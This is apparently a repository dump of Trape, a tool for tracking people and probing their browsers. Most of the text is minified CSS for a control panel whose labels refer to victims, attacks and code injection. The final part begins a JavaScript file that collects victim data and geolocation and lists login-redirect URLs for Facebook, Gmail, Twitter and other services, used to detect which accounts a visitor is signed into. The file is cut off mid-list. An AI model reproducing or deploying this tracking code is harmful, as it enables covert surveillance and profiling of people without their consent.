small{font-size:12px;opacity:.6;margin-left:1px;margin-right:0;font-weight:600;vertical-align:text-bottom}.TrapeLogin-Footer--Copyright,.TrapeLogin-Wrapper--Form---text{font-size:11px;line-height:16px;font-weight:500;text-align:center;margin-top:20px;color:#b3b0b8;font-family:Ubuntu,sans-serif;text-transform:uppercase;}.TrapeLogin-Wrapper--Form---line{color:#f0ebf3}.TrapeLogin-IncorrectKey{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;position:relative;width:356px;margin-top:12px;margin-bottom:-6px}.TrapeLogin-IncorrectKey--Icon{border-top-left-radius:4px;border-bottom-left-radius:4px;background-color:#ed5565;outline:0;color:#fff;text-transform:uppercase;font-family:Ubuntu,sans-serif;text-decoration:none;font-size:16px;font-weight:600;border:1px solid #d54c5a;padding:4px 8px;cursor:pointer}.TrapeLogin-IncorrectKey--Text{outline:0;background-color:#FBFCFF;border:1px solid #f0ebf3;border-left:0;border-top-right-radius:4px;border-bottom-right-radius:4px;font-family:Ubuntu,sans-serif;font-size:11px;font-weight:500;text-transform:uppercase;padding:4px 14px;letter-spacing:.5px;color:#b3b0b8;width:100%}.TrapeControl-Copyright,.TrapeLogin-Copyright,.TrapeLogin-Footer{font-size:13px;color:#b3b0b8;font-weight:500;text-transform:uppercase;margin-top:24px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none}.TrapeControl-Copyright--link,.TrapeLogin-Copyright--link{text-transform:uppercase;font-weight:600;/* vertical-align:sub; */color:#b3b0b8;}.TrapeControl-Copyright--link:hover,.TrapeLogin-Copyright--link:hover{color:#3a7ac5}.TrapeControl-Copyright--link:active,.TrapeLogin-Copyright--link:active{color:#346db1}.TrapeControl-Copyright .TrapeControl-Copyright--logo,.TrapeLogin-Copyright .TrapeLogin-Copyright--logo{vertical-align:inherit;width:81px;margin-left:-3px}.TrapeControl-PreviewProfileWhoIsItBox{text-align:center;margin-top:20px}.TrapeControl-PreviewProfileWhoIsItBox--Avatar,.TrapeControl-PreviewSummary--info---FacebookStatus{height:156px;width:156px;margin:0 auto;position:relative;border-radius:4em}.TrapeControl-PreviewSummary--info---FacebookStatus{margin-bottom:44px}.TrapeControl-PreviewProfileWhoIsItBox--Avatar---pic,.TrapeControl-PreviewSummary--info---FacebookStatus----Box{display:block;width:100%;border-radius:100%;background:#FBFCFF;border:1px solid #f0ebf3;padding:1px}.TrapeControl-PreviewSummary--info---FacebookStatus----Box{height:156px;width:156px}.TrapeControl-PreviewProfileWhoIsItBox--Avatar---badge,.TrapeControl-PreviewSummary--info---FacebookStatus----BoxNetwork{position:absolute;height:25px;width:25px;background-color:#3B5998;z-index:99999991;border-radius:30em;top:10px;display:flex;align-items:center;align-content:center;justify-content:center;right:10px;box-shadow:0 0 0 1px #2f4779}.TrapeControl-PreviewProfileWhoIsItBox--Avatar---badge.withFacebook,.TrapeControl-PreviewSummary--info---FacebookStatus----BoxNetwork.withFacebook{background-color:#3B5998;box-shadow:0 0 0 1px #2f4779}.TrapeControl-PreviewProfileWhoIsItBox--Avatar---badge.withTwitter{background-color:#00ACEE;box-shadow:0 0 0 1px #0089be}.TrapeControl-PreviewProfileWhoIsItBox--Avatar---badge.withFacebook:after,.TrapeControl-PreviewProfileWhoIsItBox--Avatar---badge:after,.TrapeControl-PreviewSummary--info---FacebookStatus----BoxNetwork.withFacebook:after{font-family:boxicons;content:\"\\f09a\";position:absolute;font-size:14px}.TrapeControl-PreviewProfileWhoIsItBox--Avatar---badge.withTwitter:after{font-family:boxicons;content:\"\\f099\";position:absolute;font-size:14px}.TrapeControl-PreviewProfileWhoIsItBox--info---Name{font-family:Ubuntu,sans-serif;margin-top:10px;font-size:21px;color:#292f33;margin-bottom:10px}.TrapeControl-PreviewProfileWhoIsItBox--info---LinkAccount,.TrapeControl-PreviewSummary--info---NavigationMode{padding:2px 8px;margin:0 auto;border:1px solid #f0ebf3;border-radius:3px;font-family:Ubuntu,sans-serif;font-weight:400;display:inline-block;background-color:#FBFCFF}.TrapeControl-PreviewSummary--info---NavigationMode{display:block;border-radius:0;margin-top:-20px;background:0 0;border:none;margin-bottom:20px;text-align:left}.TrapeControl-PreviewProfileWhoIsItBox--info---LinkAccount----link,.TrapeControl-PreviewSummary--info---NavigationMode----text{color:#b3b0b8;text-decoration:none;font-size:13px}.TrapeControl-PreviewSummary--info---NavigationMode----text{text-transform:uppercase;font-size:10px;letter-spacing:.5px}.TrapeControl-PreviewSummary--info---NavigationMode----IncognitoTrue{color:#000}.TrapeControl-PreviewSummary--info---NavigationMode----DNTTrue,.TrapeControl-PreviewSummary--info---NavigationMode----IncognitoFalse{color:#49b882}.TrapeControl-PreviewSummary--info---NavigationMode----DNTFalse{color:#ED5565}.TrapeControl-PreviewProfileWhoIsItBox--info---LinkAccount----link:hover{color:#198ae7}.TrapeControl-PreviewProfileWhoIsItBox--info---LinkAccount----link:active{color:#0064b7;text-decoration:underline}.TrapeControl-PreviewProfileWhoIsItBox--info---ConnectionStatus,.TrapeControl-PreviewProfileWhoIsItBox--info---TypeVictim{color:#b3b0b8;display:block;font-size:13px;margin-top:14px}.TrapeControl-PreviewProfileWhoIsItBox--info---TypeVictim{font-size:11px;text-align:center;display:block;margin-top:-3px}.TrapeControl-PreviewProfileWhoIsItBox--info---TypeVictim----Behavior{background-color:#000;padding:2px 6px;border-radius:4px;color:#fff;font-weight:500;display:inline-block;text-transform:uppercase;font-size:10px}.TrapeControl-PreviewProfileWhoIsItBox--info---LinkAccount----Icon,.TrapeControl-PreviewSummary--info---NavigationMode----Icon{color:#b3b0b8;font-size:13px;border-radius:100%;text-align:center;width:23px;height:19px;position:relative;line-height:22px;display:inline-block;vertical-align:middle}.TrapeControl-BoxTab--Form---textareaSpeech{background-color:#fff;border:1px solid #f0ebf3;padding:10px 14px;border-radius:4px;font-size:11px;text-transform:uppercase;width:100%;font-family:ubuntu,sans-serif;-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;-ms-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out;outline:0;resize:none;overflow-y:auto;line-height:10px}.TrapeControl-Preview--box---Sidebar---PlayAttackServices,.TrapeControl-PreviewSummary--info---Sidebar{width:87%;margin:12px auto;position:relative;-webkit-user-select:none;-moz-user-select:-moz-none;-ms-user-select:none;user-select:none}.TrapeControl-PreviewSummary--info---Sidebar{margin-top:12px}.TrapeControl-Preview--box---Sidebar----selectPlayAttack select{-webkit-appearance:none;-moz-appearance:none;-ms-appearance:none;appearance:none;outline:0;box-shadow:none;background-image:none;background-color:#fff;width:100%;height:100%;margin:0;padding:9px 35px 9px 38px;cursor:pointer;font-family:Ubuntu,sans-serif;font-size:11px;font-weight:500;text-transform:uppercase;color:#b3b0b8;border-radius:4px;border:1px solid #f0ebf3}.TrapeControl-Preview--box---Sidebar----selectPlayAttack{position:relative;display:block}.TrapeControl-Preview--box---Sidebar----selectPlayAttack select::-ms-expand,select::-ms-expand{display:none}.TrapeControl-Preview--box---Sidebar----selectPlayAttack::after,.select::after{top:0;right:0;bottom:0;pointer-events:none;text-transform:uppercase;outline:0;color:#b3b0b8;line-height:12px;padding:9px 13px;font-family:boxicons;font-weight:700;content:\"\\f107\";position:absolute;cursor:pointer;font-size:20px}.TrapeControl-Preview--box---Sidebar----selectPlayAttack:hover::after,.select:hover::after{color:#007ee5}.TrapeControl-Preview--box---Sidebar----selectPlayAttack:active:after,.select:active:after{-webkit-transform:rotate(180deg);-moz-transform:rotate(180deg);-ms-transform:rotate(180deg);-o-transform:rotate(180deg);transform:rotate(180deg)}.TrapeControl-Preview--box---Sidebar----selectPlayAttack-----icon{position:absolute;text-align:center;color:#b3b0b8;border-right:1px solid #f0ebf3;font-weight:500;font-size:16px!important;line-height:16px!important;margin-top:8px;margin-left:0;padding-left:1px;width:2em;z-index:8}.TrapeControl-Preview--box---Sidebar----selectPlayAttack-----icon:before{font-family:boxicons;content:\"\\f0e7\"}#lnkTrapeControl_InjectCode{text-transform:none}.TrapeControl-Preview--dataNetwork{text-align:center;padding:18px 0}.TrapeControl-Preview--dataNetwork---lineSeparation{display:inline-block;vertical-align:middle;width:1px;height:44px;background-color:#f0ebf3;margin:0 24px}.TrapeControl-Preview--dataNetwork---Item{display:inline-block;vertical-align:middle}.TrapeControl-Preview--dataNetwork---Item----text{vertical-align:middle;font-family:Ubuntu,sans-serif;text-transform:uppercase;color:#b3b0b8;font-size:15px;letter-spacing:1px;font-weight:400;margin:0 0 8px}.TrapeControl-Preview--dataNetwork---Item----result{color:#000;font-size:17px;text-transform:uppercase;letter-spacing:1px;font-weight:500;font-family:Ubuntu,sans-serif}.TrapeControl-Preview--dataNetwork---Item----iconPing{color:#b3b0b8}.TrapeControl-Preview--dataNetwork---Item----iconPing:before{font-family:boxicons;content:\"\\f0ec\"}.TrapeControl-Preview--dataNetwork---Item----iconDownloadSpeed{color:#00AB6C}.TrapeControl-Preview--dataNetwork---Item----iconDownloadSpeed:before{font-family:boxicons;content:\"\\f0ab\"}.TrapeControl-Preview--dataNetwork---Item----iconUploadSpeed{color:#f90}.TrapeControl-Preview--dataNetwork---Item----iconUploadSpeed:before{font-family:boxicons;content:\"\\f0aa\"}.TrapeControl-Preview--dataNetwork---Item----iconTypeNetwork{color:#007ee5}.TrapeControl-Preview--dataNetwork---Item----iconTypeNetwork:before{font-family:boxicons;content:\"\\f0c2\"}.TrapeControl-Preview--dataHosts{overflow-y:auto;overflow-x:hidden;height:86px;width:438px}.TrapeControl-Preview--dataHosts---host{display:inline-block;font-family:Ubuntu,sans-serif;font-weight:400;padding-right:10px;font-size:12px;line-height:28px;height:27px;color:#b3b0b8;background:#fff;border-radius:0;width:100%;text-align:left;z-index:3;border-left:none;bottom:27px;border-bottom:1px solid #f0ebf3}.TrapeControl-Preview--dataHosts---host----iconBox{float:left;color:#fff;height:18px;width:18px;line-height:17px;margin-right:6px;text-align:center;font-size:13px;font-weight:500;background-color:#007ee5;border:1px solid #0064b7;border-radius:100%;margin-top:5px}.TrapeControl-Preview--dataHosts---host----text{font-family:Ubuntu,sans-serif;font-weight:600;color:#000;vertical-align:text-bottom;font-size:13px}.TrapeControl-Preview--dataHosts---host----line{margin-left:5px;margin-right:5px;border-top:20px solid #f0ebf3;text-align:center;width:1px;display:inline-block;margin-bottom:2px;z-index:3}.TrapeControl-Preview--dataHosts---host----subText{font-size:13px;color:#b3b0b8;font-weight:500}.TrapeControl-Preview--dataHostsElement---Item----result,.TrapeControl-Preview--dataHostsElement---Item----text{font-size:15px;text-transform:uppercase;letter-spacing:1px;font-family:Ubuntu,sans-serif}.TrapeControl-Preview--dataHostsElement---lineSeparation{display:inline-block;vertical-align:middle;width:1px;height:44px;background-color:#f0ebf3;margin:22px 26px 0;float:left}.TrapeControl-Preview--dataHostsElement---Item{display:inline-block;vertical-align:middle;float:left;margin-top:22px}.TrapeControl-Preview--dataHostsElement---Item----text{vertical-align:middle;color:#b3b0b8;font-weight:400;margin:0 0 8px}.TrapeControl-Preview--dataHostsElement---Item----result{color:#000;font-weight:500}.TrapeControl-Preview--dataHostsElement---Item----icon{color:#007ee5}.TrapeControl-Preview--dataHostsElement---Item----icon:before{font-family:boxicons;content:\"\\f0e8\"}.TrapeControl-Preview--dataHostsPositionGeneral{margin:0 auto;width:635px}.TrapeControl-Preview--NotificationAlert{position:fixed;width:518px;height:299px;background-color:rgba(255,255,255,.8);justify-content:center;align-items:center;-webkit-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-moz-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-ms-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-o-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);transition:all .5s cubic-bezier(.59,-.17,.3,1.67);z-index:3;border-radius:6px 0 0}.TrapeControl-Preview--NotificationAlert---define{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:nowrap;flex-wrap:nowrap;width:430px;height:40px;min-height:40px;background:#FFF;border:1px solid #000;position:relative;top:8em;z-index:3;margin-left:auto;margin-right:auto;border-radius:4px;box-shadow:0 0 0 1px rgba(18,24,33,.05),0 0 15px rgba(18,24,33,.2)}.TrapeControl-Preview--NotificationAlert---define----Icon{background:#455870;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;color:#FFF;font-size:1.2em;margin:0;width:42px}.TrapeControl-Preview--NotificationAlert---define----Content{-webkit-box-flex:6;-ms-flex:6;flex:6;padding-left:14px;margin:0;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding-right:14px}.TrapeControl-Preview--NotificationAlert---define----Content p{padding:0;margin:0;font-size:14px}.TrapeControl-Header--menu---btnUpdate----button,.TrapeControl-Header--menu---btnUpdate----counter{font-weight:500;padding:1px 8px;font-family:Ubuntu,sans-serif;line-height:20px;outline:0;text-transform:uppercase}.TrapeControl-Preview--NotificationAlert---offline{border:1px solid #ED5565}.TrapeControl-Preview--NotificationAlert---offline .TrapeControl-Preview--NotificationAlert---define----Icon{background:#ED5565}.TrapeControl-Preview--NotificationAlert---offline .TrapeControl-Preview--NotificationAlert---define----Content{color:#ED5565}.TrapeControl-Preview--NotificationAlert---online{border:1px solid #49b882}.TrapeControl-Preview--NotificationAlert---online .TrapeControl-Preview--NotificationAlert---define----Icon{background:#49b882}.TrapeControl-Preview--NotificationAlert---online .TrapeControl-Preview--NotificationAlert---define----Content{color:#49b882}.TrapeControl-Preview--NotificationAlert---success{border:1px solid #000}.TrapeControl-Preview--NotificationAlert---success .TrapeControl-Preview--NotificationAlert---define----Icon{background:#000}.TrapeControl-Preview--NotificationAlert---success .TrapeControl-Preview--NotificationAlert---define----Content{color:#000}.TrapeControl-Preview--NotificationHide{-webkit-transition:all .5s;-moz-transition:all .5s;-ms-transition:all .5s;-o-transition:all .5s;transition:all .5s;opacity:0;visibility:hidden;-webkit-animation:hideNotification 1s;-moz-animation:hideNotification 1s;-ms-animation:hideNotification 1s;-o-animation:hideNotification 1s;animation:hideNotification 1s}@-webkit-keyframes hideNotification{0%{opacity:1;-webkit-transform:translateX(-20%);transform:translateX(-20%)}100%{opacity:0;-webkit-transform:translateX(100%);transform:translateX(100%)}}@keyframes hideNotification{0%{opacity:1;-webkit-transform:translateX(-20%);transform:translateX(-20%)}100%{opacity:0;-webkit-transform:translateX(100%);transform:translateX(100%)}}.TrapeControl-Header--menu---btnUpdate{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;position:absolute;right:70px;top:26px;margin-right:.6em}.TrapeControl-Header--menu---btnUpdate----counter{background-color:#FBFCFF;border:1px solid #f0ebf3;border-right:0;border-top-left-radius:3px;border-bottom-left-radius:3px;font-size:13px;color:#b3b0b8}.TrapeControl-Header--menu---btnUpdate----counter-----AvailableUpdate{color:#ff5722}.TrapeControl-Header--menu---btnUpdate----button{border-top-right-radius:3px;border-bottom-right-radius:3px;background-color:#ff5722;color:#fff;text-decoration:none;font-size:11px;letter-spacing:.5px;border:1px solid #cc451b;cursor:pointer}.TrapeControl-Header--menu---btnUpdate----button .icon-refresh{opacity:.8}.TrapeControl-Header--menu---btnUpdate----button:hover{border:1px solid #ff5722;background:#ff6738;color:#fff}.TrapeControl-Header--menu---btnUpdate----button:active{background-color:#cc451b;border:1px solid #ff5722;color:#fff}.TrapeControl-UpgradeModal{position:fixed;height:100%;width:100%;top:0;left:0;right:0;bottom:0;opacity:0;background-color:rgba(255,255,255,.8);justify-content:center;align-items:center;pointer-events:none;-webkit-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-moz-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-ms-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-o-transition:all .5s cubic-bezier(.59,-.17,.3,1.67);transition:all .5s cubic-bezier(.59,-.17,.3,1.67);-webkit-transform:translate(0,-50px);-moz-transform:translate(0,-50px);-ms-transform:translate(0,-50px);-o-transform:translate(0,-50px);transform:translate(0,-50px);z-index:-99}.TrapeControl-UpgradeModal.active{pointer-events:auto;opacity:1;-webkit-transform:scale(1);-moz-transform:scale(1);-ms-transform:scale(1);-o-transform:scale(1);transform:scale(1);z-index:99}.TrapeControl-UpgradeModal--Box{font-family:Ubuntu,sans-serif;text-rendering:optimizeLegibility;-webkit-font-smoothing:antialiased;-webkit-text-size-adjust:none;-webkit-box-sizing:border-box;box-sizing:border-box;list-style:none;font-weight:400;display:block;padding:0;box-shadow:0 5px 10px 10px rgba(18,24,33,.05),0 5px 15px rgba(18,24,33,.2);border-radius:6px;position:fixed;z-index:9999999;background:#fff;font-size:15px;height:100vh;max-height:475px;min-height:475px;width:640px;margin:100px auto;left:0!important;right:0!important;top:0!important;bottom:0!important}.TrapeControl-UpgradeModal--Box a,.TrapeControl-UpgradeModal--Box img,.TrapeControl-UpgradeModal--Box p,.TrapeControl-UpgradeModal--Box svg{font-family:Ubuntu;text-rendering:optimizeLegibility;-webkit-font-smoothing:antialiased;-webkit-text-size-adjust:none;-webkit-box-sizing:border-box;box-sizing:border-box;list-style:none;font-weight:400;display:block;padding:0;margin:0}.TrapeControl-UpgradeModal--Box---content----Tabs{float:right;margin-top:-15px}.TrapeControl-UpgradeModal--Box .TrapeControl-UpgradeModal--Box---content{position:relative;padding:25px;overflow-y:auto;display:block;height:100%}.TrapeControl-UpgradeModal--Box .TrapeControl-UpgradeModal--Box---content .TrapeControl-UpgradeModal--Box---content----Header{position:relative;display:block;height:32px;width:100%}.TrapeControl-UpgradeModal--Box---content----Tabs .TrapeControl-UpgradeModal--Box---content----Tabs-----btn{border:1px solid #f0ebf3;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;text-decoration:none;display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;margin:0 9px 0 0;border-radius:3px;padding:1px 8px;background-color:#FBFCFF;text-transform:uppercase;cursor:pointer;font-size:11px;font-family:Ubuntu;letter-spacing:.5px;color:#b3b0b8;line-height:20px;outline:0}.TrapeControl-UpgradeModal--Box---content----Tabs .TrapeControl-UpgradeModal--Box---content----Tabs-----btn.is-active,.TrapeControl-UpgradeModal--Box---content----Tabs .TrapeControl-UpgradeModal--Box---content----Tabs-----btn:hover{background-color:#fff}.TrapeControl-UpgradeModal--Box---content----Tabs .TrapeControl-UpgradeModal--Box---content----Tabs-----btn:last-child{margin:0}.TrapeControl-UpgradeModal--Box---content----Tabs .TrapeControl-UpgradeModal--Box---content----Tabs-----btn span{padding:0 0 0 6px;font-weight:500}.TrapeControl-UpgradeModal--Box---content----Tabs-----btnAvailable{color:#ff5722}.TrapeControl-UpgradeModal--Box---content----Tabs-----btnRequested{color:#007ee5}.TrapeControl-UpgradeModal--Box---content----Tabs-----btnPurchased{color:#49b882}.TrapeControl-UpgradeModal--Box .TrapeControl-UpgradeModal--Box---content ul.TrapeControl-UpgradeModal--ListUpdates{padding:0;border-top:1px solid #efefef}.TrapeControl-UpgradeModal--Box .TrapeControl-UpgradeModal--Box---content ul.TrapeControl-UpgradeModal--ListUpdates,.TrapeControl-UpgradeModal--Box .TrapeControl-UpgradeModal--Box---content ul.TrapeControl-UpgradeModal--ListUpdates>li{text-rendering:optimizeLegibility;-webkit-font-smoothing:antialiased;-webkit-text-size-adjust:none;-webkit-box-sizing:border-box;box-sizing:border-box;line-height:20px;list-style:none;font-weight:400;font-size:13px;margin:0;position:relative}.TrapeControl-UpgradeModal--Box .TrapeControl-UpgradeModal--Box---content ul.TrapeControl-UpgradeModal--ListUpdates>li{padding:11px 11px 11px 0;border-bottom:1px solid #efefef}.TrapeControl-UpgradeModal--ListUpdates---NewVersion----badgePurchased,.TrapeControl-UpgradeModal--ListUpdates---NewVersion----badgeRequest{position:absolute;right:5px;top:22px;border:1px solid #f0ebf3;margin-right:0;border-radius:3px;padding:1px 8px;background-color:#FBFCFF;text-transform:uppercase;font-size:10px;font-family:Ubuntu;letter-spacing:.5px;color:#007ee5;line-height:17px;font-weight:500;outline:0}.TrapeControl-UpgradeModal--ListUpdates---NewVersion----badgePurchased{color:#49b882}.TrapeControl-UpgradeModal--ListUpdates---NewVersion----price{outline:0;background-color:#FFD262;border:1px solid #E4B34F;font-family:Ubuntu,sans-serif;font-size:11px;font-weight:500;text-transform:uppercase;padding:1px 5px;color:#b68f3f;text-decoration:none;border-radius:3px}.TrapeControl-UpgradeModal--ListUpdates---NewVersion----btnRequest{position:absolute;right:5px;top:22px;text-decoration:none;margin:0;border-radius:3px;padding:1px 8px;text-transform:uppercase;cursor:pointer;font-size:10px;font-family:Ubuntu;letter-spacing:.5px;color:#fff;line-height:17px;font-weight:500;border:1px solid #0071ce;background-color:#007ee5;outline:0}.TrapeControl-UpgradeModal--ListUpdates---NewVersion----btnRequest:hover{background-color:#198ae7;border:1px solid #007ee5;color:#fff}.TrapeControl-UpgradeModal--ListUpdates---NewVersion----btnRequest:active{background-color:#0071ce;border:1px solid #0058a0;color:#fff}.TrapeControl-UpgradeModal--Box .TrapeControl-UpgradeModal--Box---content ul.TrapeControl-UpgradeModal--ListUpdates>li .TrapeControl-UpgradeModal--ListUpdates---NewVersion{padding:0 0 12px;color:#b3b0b8}.TrapeControl-UpgradeModal--Box .TrapeControl-UpgradeModal--Box---content ul.TrapeControl-UpgradeModal--ListUpdates>li p{text-rendering:optimizeLegibility;-webkit-font-smoothing:antialiased;-webkit-text-size-adjust:none;-webkit-box-sizing:border-box;box-sizing:border-box;line-height:20px;list-style:none;font-weight:400;font-size:13px;display:block;margin:0;padding:0 0 5px;color:#000}.TrapeControl-UpgradeModal--ListUpdates---NewVersion----number{text-rendering:optimizeLegibility;-webkit-text-size-adjust:none;text-decoration:none;font-weight:600;padding:0 0 1px;color:#000;display:block}.TrapeControl-UpgradeModal--buttonClose{position:absolute;padding:4px 6px!important;font-size:16px!important;line-height:16px!important;text-align:center!important;background-color:#fff;color:#ED5565;top:-10px!important;right:-10px!important;-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;-ms-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out;cursor:pointer;border-radius:100%;border:1px solid #f0ebf3;z-index:999}.TrapeControl-UpgradeModal--buttonClose:hover{background-color:#ED5565;border:1px solid #bd4450;color:#fff}.TrapeControl-UpgradeModal--buttonClose:active{background-color:#d54c5a;border:1px solid #a53b46;color:#fff}.TrapeControl-UpgradeModal---Sidebar----title{border-top:0;text-align:left;margin:14px 0 0}.TrapeControl-UpgradeModal---Sidebar----Iconbox{margin-top:0;font-family:ubuntu,sans-serif;font-weight:500;font-size:11px;color:#b3b0b8;background-color:#fff;border-radius:3px;text-align:center;text-transform:uppercase;line-height:16px;display:inline-block;position:relative;top:-13px;padding-right:0}.TrapeControl-UpgradeModal---Sidebar----Iconbox-----define{float:left;color:#ff5722;height:100%;background-color:#fff;border-radius:3px 0 0 3px!important;padding:1px 0;margin-right:6px}.TrapeControl-UpgradeModal---Sidebar----Iconbox-----text{font-family:Ubuntu,sans-serif;font-weight:500;letter-spacing:.5px;font-size:13px;vertical-align:middle}.TrapeControl-History--Logs---logData----InitialNameLog{margin-right:12px;font-size:10px;width:17px;height:17px;font-weight:500;text-align:center;background:#456183;color:#fff;border-radius:100px;border:2px solid #fff;display:inline-block;line-height:normal;vertical-align:middle;margin-left:-18px;margin-top:26px;position:absolute;padding:1px;z-index:2;left:18px}.TrapeControl-Preview--box---Mapbox----putNameLog{position:absolute;top:0;left:26%;box-shadow:0 3px 6px 0 rgba(0,0,0,.2);border-radius:0 0 6px 6px;text-transform:uppercase;background:#fff;padding:6px;width:251px;text-align:center;font-family:Ubuntu,sans-serif;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;z-index:3}.TrapeControl-Preview--box---Mapbox----putNameLog-----input{outline:0;background-color:#FBFCFF;border:1px solid #f0ebf3;font-family:Ubuntu,sans-serif;font-size:11px;font-weight:500;text-transform:uppercase;color:#b3b0b8;padding:8px 10px;border-right:0;border-top-left-radius:3px;border-bottom-left-radius:3px;-webkit-transition:all .1s ease-in-out;-moz-transition:all .1s ease-in-out;-ms-transition:all .1s ease-in-out;-o-transition:all .1s ease-in-out;transition:all .1s ease-in-out;width:100%}.TrapeControl-Preview--box---Mapbox----putNameLog-----input:focus,.TrapeControl-Preview--box---Mapbox----putNameLog-----input:hover{background-color:#fff}.TrapeControl-Preview--box---Mapbox----putNameLog-----input::-webkit-input-placeholder{color:#b3b0b8}.TrapeControl-Preview--box---Mapbox----putNameLog-----input::-moz-placeholder{color:#b3b0b8}.TrapeControl-Preview--box---Mapbox----putNameLog-----input:-ms-input-placeholder{color:#b3b0b8}.TrapeControl-Preview--box---Mapbox----putNameLog-----input:-moz-placeholder{color:#b3b0b8}.TrapeControl-Preview--box---Mapbox----putNameLog-----button{border-top-right-radius:3px;border-bottom-right-radius:3px;background-color:#49b882;border:0;border:1px solid #3a9368;outline:0;color:#fff;text-transform:uppercase;line-height:12px;text-decoration:none;font-size:12px;font-weight:600;padding:7px 10px;cursor:pointer}.TrapeControl-Preview--box---Mapbox----putNameLog-----button:hover{background-color:#5bbf8e;border:1px solid #49b882;color:#fff}.TrapeControl-Preview--box---Mapbox----putNameLog-----button:active{background-color:#3a9368;border:1px solid #33805b;color:#fff}.TrapeControl-UpgradeModal--ListUpdates:nth-child(1),.TrapeControl-UpgradeModal--ListUpdates:nth-child(3),.TrapeControl-UpgradeModal--ListUpdates:nth-child(4){display:none}.TrapeControl-UpgradeModal--ListUpdates---NewVersion----content{margin-top:-1px}.TrapeControl-UpgradeModal--ListUpdates---notFound{padding-top:50px!important;padding-bottom:50px!important}.TrapeControl-UpgradeModal--ListUpdates---notFound----text{text-align:center;text-transform:uppercase;font-size:17px;color:#b3b0b8;font-weight:500;letter-spacing:.5px}.TrapeControl-SocialImpact{position:relative;font-size:12px;text-align:left;font-family:Ubuntu,sans-serif;border-bottom:1px solid #f0ebf3;padding:0 4px;background:#fff;display:inline-block;width:810px}.TrapeControl-SocialImpact:nth-child(1){padding:10px 4px}.TrapeControl-SocialImpact--details---summary{margin-left:42px;margin-top:16px}.TrapeControl-SocialImpact:nth-child(1) .TrapeControl-SocialImpact--details---summary{margin-left:50px;margin-top:14px}.TrapeControl-SocialImpact:nth-child(1) .TrapeControl-SocialImpact--Network{width:44px;height:44px;font-size:28px;line-height:45px;margin-top:0}.TrapeControl-SocialImpact--Network{color:#fff;font-size:18px;text-align:center;display:inline-block;width:34px;height:34px;line-height:35px;float:left;border-radius:6px;margin-top:5px}.TrapeControl-SocialImpact--details{display:inline-block}.TrapeControl-SocialImpact--details---summaryNameNetwork{color:#000;font-weight:700;font-size:11px;margin:0;display:block;text-transform:capitalize}.TrapeControl-SocialImpact:nth-child(1) .TrapeControl-SocialImpact--details---summaryNameNetwork{font-size:14px}.TrapeControl-SocialImpact--details---summaryClasification{font-weight:700;position:relative;margin-left:4px;text-transform:uppercase;line-height:0;color:#b3b0b8;display:inline-block}.TrapeControl-SocialImpact--stats{text-align:center;padding:0;float:right}.TrapeControl-SocialImpact--stats---lineSeparation{display:inline-block;vertical-align:middle;width:1px;height:44px;background-color:#f0ebf3;margin:0 22px}.TrapeControl-SocialImpact--stats---Item{display:inline-block;vertical-align:middle}.TrapeControl-SocialImpact--stats---Item:last-child,.TrapeControl-SocialImpact:nth-child(1) .TrapeControl-SocialImpact--stats---Item:last-child{margin-right:20px}.TrapeControl-SocialImpact--stats---Item----text{vertical-align:middle;font-family:Ubuntu,sans-serif;text-transform:uppercase;color:#b3b0b8;font-size:11px;letter-spacing:1px;font-weight:400;margin:0 0 8px;display:none}.TrapeControl-SocialImpact:nth-child(1) .TrapeControl-SocialImpact--stats---Item----text{display:block}.TrapeControl-SocialImpact--stats---Item----result,.TrapeControl-SocialImpact--stats---Item----resultInteractions,.TrapeControl-SocialImpact--stats---Item----resultPorcent{color:#000;font-size:15px;text-transform:uppercase;letter-spacing:1px;font-weight:500;font-family:Ubuntu,sans-serif}.TrapeControl-SocialImpact--stats---Item----resultPorcent{color:#fb3958;font-weight:700}.TrapeControl-SocialImpact--stats---Item----resultInteractions{color:#007ee5}"
  },
  {
    "path": "static/js/base.js",
    "content": "var urlServices = [];\nvar Services = [];\nvar latitude = null, longitude = null;\n\nwindow.serverPath = '';\n\nvar socketTrape = null;\n\n$(document).ready(function($) {\n    var d = getVictimData();\n    getGeolocation();\n\n    Services = [{\n        url: \"https://www.facebook.com\",\n        path: \"/login.php?next=http://www.facebook.com/favicon.ico\",\n        name: \"Facebook\",\n        login: \"/login.php\"\n    }, {\n        url: \"https://twitter.com\",\n        path: \"/login?redirect_after_login=%2Ffavicon.ico\",\n        name: \"Twitter\",\n        login: \"/login\" \n    }, {\n        url: \"https://vk.com\",\n        path: \"/login?u=2&to=ZmF2aWNvbi5pY28-\",\n        name: \"Vkontakte\",\n        login: \"/login\"\n    }, {\n        url: \"https://www.reddit.com\",\n        path: \"/login?dest=https%3A%2F%2Fwww.reddit.com%2Ffavicon.ico\",\n        name: \"Reddit\",\n        login: \"/login\"\n    }, {\n        url: \"https://accounts.google.com\",\n        path: \"/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.google.com%2Ffavicon.ico&uilel=3&hl=en&service=mail\",\n        name: \"Gmail\",\n        login: \"/ServiceLogin\"\n    }, {\n        url: \"https://www.spotify.com\",\n        path: \"/en/login/?forward_url=https%3A%2F%2Fwww.spotify.com%2Ffavicon.ico\",\n        name: \"Spotify\",\n        login: \"/en/login/\"\n    }, {\n        url: \"https://www.tumblr.com\",\n        path: 